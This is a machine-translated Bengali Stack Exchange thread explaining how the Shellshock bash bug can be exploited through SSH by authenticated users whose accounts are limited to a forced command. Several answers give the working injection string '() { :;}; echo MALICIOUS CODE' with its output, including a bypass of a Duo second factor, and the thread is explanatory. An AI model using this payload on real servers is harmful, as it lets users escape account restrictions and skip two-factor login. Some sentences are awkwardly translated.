কীভাবে শেলশকটি এসএসএইচের উপর থেকে শোষণ করা যায়?


68

স্পষ্টতই, শেলশক ব্যাশ সিভিই -2014-6271 শোষণ করে এসএসএইচ এর মাধ্যমে নেটওয়ার্কের মাধ্যমে ব্যবহার করা যেতে পারে। আমি কল্পনা করতে পারি কীভাবে শোষণগুলি আপাচি / সিজিআইয়ের মাধ্যমে কাজ করবে তবে আমি কীভাবে এসএসএইচ দিয়ে কাজ করব তা কল্পনা করতে পারি না?

কেউ দয়া করে কীভাবে একটি উদাহরণ প্রদান করতে পারেন যে কীভাবে এসএসএইচ শোষণ করা হবে, এবং সিস্টেমটির কী ক্ষতি হতে পারে?

শোধন

এএফআইইউ, কেবলমাত্র একটি প্রমাণীকৃত ব্যবহারকারী এসএসএইচ এর মাধ্যমে এই দুর্বলতাটি কাজে লাগাতে পারেন। এটি কারওর জন্য কীভাবে কাজে লাগানো উচিত, যার সিস্টেমে বৈধ অ্যাক্সেস রয়েছে? আমি বোঝাতে চাইছি, এই শোষণটির সুবিধাগুলি বৃদ্ধি নেই (সে মূল হতে পারে না), সুতরাং এসএসএইচ মাধ্যমে বৈধভাবে লগ ইন করার পরে তিনি আর কিছু করতে পারেন না।


সহজ কথায় বলতে গেলে কারও কাছে ইতিমধ্যে আপনার বাক্সে অ্যাক্সেস না থাকলে এটি করা যায় না। একটি নতুন ব্যাশ শেল কেবলমাত্র সফল লগইন প্রচেষ্টা পরে কার্যকর করা হয় exec
Evert

এটির বেশিরভাগই মিডিয়া হাইপ, এটি ঘটতে পারে তবে এটি তৈরির মতো খারাপ নয়।
jgr208

ব্যবহারকারীর নামগুলি কি লগগুলিতে ভারব্যাটিম হয়? যদি হ্যাঁ, তবে কোনও লগপাশিং বাশ স্ক্রিপ্ট রয়েছে যা কোথাও ঝুঁকিপূর্ণ ...
প্লাজমাএইচএইচ

1
@ প্লাজমাএইচএইচ যদি আপনি আপনার লগ-পার্সিং স্ক্রিপ্টটিকে রুট হিসাবে চালনা করেন তবে যা পান তা আপনি প্রাপ্য।
বার্মার

@ বারমার: এ ছাড়াও প্রশ্নটি বিশেষভাবে রুট অ্যাক্সেস পাওয়ার জন্য নয়, তবে মেশিনের অ্যাক্সেসের জন্য নয় (এটির বিশ্লেষণ বা অন্য ক্ষতি করতে যেমন প্রয়োজন হতে পারে), যখন আপনি কোড চালাতে পারেন, সম্ভাবনা হ'ল আপনিও পারবেন কোড চালান যা আপনাকে রুট করে এমন কিছু অন্যকে কাজে লাগায়।
প্লাজমাএইচ

উত্তর:


79

এটি ব্যবহার করা যেতে পারে এমন একটি উদাহরণ authorized_keysজোরপূর্বক কমান্ড সহ সার্ভারগুলিতে । এন্ট্রি যুক্ত করার সময়, ssh সার্বজনীন কী ব্যবহার করা হয় এমন সময় চালনার জন্য আপনি ~/.ssh/authorized_keysলাইনের সাথে উপসর্গ করতে পারেন । এই শোষণের সাহায্যে, যদি লক্ষ্য ব্যবহারকারীর শেল সেট করা থাকে , তারা বাধ্য হয়ে যে কমান্ডটি প্রয়োগ করেছে সেগুলি বাদ দিয়ে অন্য জিনিসগুলি চালানোর জন্য তারা শোষণের সুযোগ নিতে পারে।command="foo"foobash

এটি সম্ভবত উদাহরণে আরও অর্থবোধ করতে পারে, সুতরাং এখানে একটি উদাহরণ দেওয়া হল:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

এখানে আমরা একটি ব্যবহারকারী সেট আপ করেছি testuser, এটি আপনার ssh কী ব্যবহার করে যে কোনও ssh সংযোগকে বাধ্য করে echo starting sleep; sleep 1

আমরা এটি দিয়ে পরীক্ষা করতে পারি:

$ ssh testuser@localhost echo something else
starting sleep

আমাদের echo something elseরান কীভাবে হয় না তা লক্ষ্য করুন তবে starting sleepজোর করে কমান্ডটি চালিয়েছে তা দেখায়।

এই শোষণটি কীভাবে ব্যবহার করা যেতে পারে তা এখন দেখান:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

এই কাজ করে কারণ sshdসেট SSH_ORIGINAL_COMMANDকমান্ড এনভায়রনমেন্ট ভেরিয়েবল পাস। যদিও sshdদৌড়ে গেছে sleep, এবং যে আদেশটি আমি এটি বলেছি তা নয়, শোষণের কারণে আমার কোডটি এখনও চালানো হয়।


1
পরিবর্তে এটি চেষ্টা করুন: ssh testuser@localhost echo something else '`whoami`' আদেশটি কোথায় কার্যকর করা হচ্ছে তা প্রমাণ করার জন্য
রিচার্ড

1
আমি এই উত্তরে যুক্ত করব যে এসএসএইচ এর শর্তে, শোষণ কেবল অনুমোদিত কী (একটি অনুমোদিত কী একটি দীর্ঘ পাসওয়ার্ড হিসাবে বিবেচনা করা যেতে পারে) সহ অনুমোদিত ব্যবহারকারীকে কমান্ডগুলি চালনার জন্য অনুমতি দেয় যা তারা সাধারণত চালানোর জন্য অনুমোদিত হয় না। এটি অনুমোদিত চাবি ছাড়া কাউকে কিছু করার অনুমতি দেয় না। আমার কাছে এসএসএইচ সম্পর্কে একটি সঠিক ধারণা এবং অনুমোদিত_কির অর্থ না থাকলে উত্তরটি থেকে এটি পরিষ্কার বলে আমি মনে করি না।
ক্রিস ড্রাগন

@ স্ক্রোলার এটি সাধারণত একটি ভাল চিহ্ন যা আপনি কোনও কিছুর ভুল ব্যাখ্যা করছেন। উদাহরণস্বরূপ, উত্তরটি ব্যাখ্যা করছে যে কীভাবে পরীক্ষককে কোনও প্রশাসক দ্বারা সরবরাহকৃত অ্যাকাউন্ট সেটআপ দেওয়া হয়, পরীক্ষার্থী কীভাবে তাদের প্রদত্ত সীমাবদ্ধতাগুলি থেকে পালাতে সক্ষম হবে। এবং না, বাশের সাথে কোনও জড়িত না হওয়ার অর্থ আপনি শেলশকটি শোষণ করতে পারেন। কেবল যখন বাশ অনুমতি নিয়ে চলমান থাকে তবে ব্যবহারকারী সাধারণত থাকে না, তবে ব্যাশের পরিবেশ পরিবর্তনশীলগুলির উপর ব্যবহারকারীর প্রভাব রয়েছে।
প্যাট্রিক

ঠিক আছে, আপনি এখন যা দেখানোর চেষ্টা করছেন তা পেয়েছি - একটি সেটআপ যা পরীক্ষার্থীকে .authorised_keys কমান্ডের মধ্যে সীমাবদ্ধ করে এবং লগইন শেল নয়। আপনার নিজের .Authorised_keys ডাব্লু / একটি এন্ট্রি যা আপনার ইতিমধ্যে শেল অ্যাক্সেস ছিল (যখন এটি সুবিধাগুলি কার্যকরকরণ সরবরাহ করবে না) সম্পাদনা করে: কোনও আদেশটি কার্যকর করে এমন সম্পাদনা করার কোনও অর্থবোধ করেনি: মন্তব্য মুছে ফেলা হয়েছে, আমি সংশোধন করছি।
স্ক্রুলার

26

রমেশের কাছ থেকে উদাহরণটি প্রসারিত করে - আপনি যদি দুটি ফ্যাক্টর প্রমাণীকরণ ব্যবহার করেন তবে কীভাবে এটি প্রয়োগ করা হয় তার উপর নির্ভর করে এই শোষণটি ব্যবহার করে দ্বিতীয় ফ্যাক্টরটি বাইপাস করা সম্ভব।

- সাধারণ লগইন -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- 2 এফএ ছাড়াই চলমান কোড -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

আপনি লক্ষ্য করবেন যে এটি 2 এফএ'র অনুরোধ না করে কোড চালিয়েছে।

- বাশ প্যাচিংয়ের পরে -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
দ্বিতীয় ফ্যাক্টরটি ব্যবহার করে চূড়ান্ত পাঠকদের আতঙ্ক সীমাবদ্ধ করার জন্য: "এটি কীভাবে প্রয়োগ করা হয়" নির্ভর করে "- আমি মনে করি আপনি ধরে নিয়েছেন যে এখানে দ্বিতীয় ফ্যাক্টর ব্যাশে প্রয়োগ করা হয়েছে বা readফাংশন ব্যবহার করে uses অন্যথায় - ব্যবহারকারী নিরাপদ।
গ্রেজগোর্জ ওয়েয়ারজোইকিকি

25

শেলশক এসএইচএইচ-তে নয়, ব্যাশের পক্ষে দুর্বলতা। এটির শোষণ করার জন্য, আক্রমণকারীকে দুর্বল সিস্টেমে ব্যাশ চালানো এবং এমন একটি পরিবেশের ভেরিয়েবলের মান নিয়ন্ত্রণ করতে হবে যা ব্যাশে চলে যাবে।

এসএসএইচের মাধ্যমে ব্যাশ প্রক্রিয়াতে পৌঁছানোর জন্য, আক্রমণকারীকে প্রমাণীকরণের পদক্ষেপগুলি পাস করতে হবে। (অন্যান্য নেটওয়ার্ক পরিষেবাদির মাধ্যমে আক্রমণকারী ভেক্টর থাকতে পারে, তবে তারা এই থ্রেডের আওতার বাইরে)) যদি অ্যাকাউন্টটিকে যেকোনভাবে নির্বিচারে শেল কমান্ড চালানোর অনুমতি দেওয়া হয়, তবে কোনও আক্রমণ নেই। যদি অ্যাকাউন্টটি নির্দিষ্ট কমান্ডগুলি চালিত করতে সীমাবদ্ধ থাকে তবে দুর্বলতা কার্যকর হয়: উদাহরণস্বরূপ, একটি এসএফটিপি-একমাত্র অ্যাকাউন্ট, বা গিট-ওয়ান অ্যাকাউন্ট ইত্যাদি etc.

এসএসএইচ দিয়ে একটি সুনির্দিষ্ট কমান্ড চালানোর জন্য অ্যাকাউন্টকে সীমাবদ্ধ করার বিভিন্ন উপায় রয়েছে: ForceCommandবিকল্পটিতে sshd_configবা এটির সাথে command=authorized_keysফাইলের মধ্যে সীমাবদ্ধতা । যদি ব্যবহারকারীর শেলটি বাশ হয়, তবে শেলশক দুর্বলতা এমন কোনও ব্যবহারকারীকে সাধারণত সীমাবদ্ধ অ্যাকাউন্টে সীমাবদ্ধতা বাইপাস করতে এবং স্বেচ্ছাসেবী আদেশগুলি কার্যকর করতে দেয়।


এবং এটি অন্যান্য শেলের মতো কাজ করে না, যেমন zsh
ইয়ার নিম
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.